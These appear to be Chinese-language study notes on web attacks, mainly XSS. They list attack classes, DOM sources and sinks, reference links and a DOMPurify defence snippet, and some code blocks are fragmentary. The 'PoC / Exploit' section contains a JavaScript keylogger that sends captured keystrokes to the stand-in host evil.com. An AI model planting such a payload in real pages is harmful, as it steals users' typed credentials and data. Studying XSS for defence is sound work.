### Server-side attacks
- SQL / NoSQL Injection
- 命令注入 & 代码注入
- SSRF & 文件包含
- 反序列化攻击
- 服务端逻辑漏洞
**拉下服务器中的数据库 / 拿下服务器的`root`权限**
### Client-side attacks
- XSS
- CSRF & XS-Leaks
- Clickjacking & Tab nabbing
- Prototype Pollution
- postMessage abuse
**伪造用户身份 / 窃取用户凭据 / 诱导恶意操作**
## Client side
Status: All is well.
```
```plain
https://insecure-website.com/status?message=
### URL 与页面关系
- `location.href/search/hash`
- `document.referrer`
- `window.name`
- `postMessage` 的 `event.data`
### 存储与服务端数据
- API / GraphQL 响应
- `localStorage` / IndexedDB
- 用户资料与富文本
- 第三方脚本返回值
## Sinks
### HTML 执行入口
- `element.innerHTML` / `outerHTML`
- `document.write()` / `writeln()`
- `insertAdjacentHTML()`
- `DOMParser.parseFromString()`
- `Range.createContextualFragment()`
### 属性 & URL
- `element.src` / `href` (`javascript:`)
- `element.setAttribute('onerror', ...)`
- `form.action`
- `element.style`(CSS `expression` / `-moz-binding`)
### JS 执行入口
- `eval()` / `setTimeout(str)` / `setInterval(str)`
- `new Function()`
- `location.href` / `location.assign()`
- `window.open()` / `window.name`
- `import()` / WebAssembly
### 第三方 API
- jQuery `html()` / `append()` 等
- React `dangerouslySetInnerHTML`
- Vue `v-html`
- `postMessage` 接收端
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
## PoC / Exploit
```plain
https://insecure-website.com/status?message=
// 键盘监听器
var keys = "";
document.onkeypress = function(e) {
keys += e.key;
if(keys.length > 30) {
fetch("http://evil.com/keys?data=" + encodeURIComponent(keys));
keys = "";
}
}
// exp
./exploit.py example.com
```
## XSS Labs
How to:
- https://hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/index.html
- https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/1%20-%20XSS%20Filter%20Bypass
## 真的需要富文本怎么办
```javascript
const clean = DOMPurify.sanitize(dirtyHtml);
preview.innerHTML = clean;
```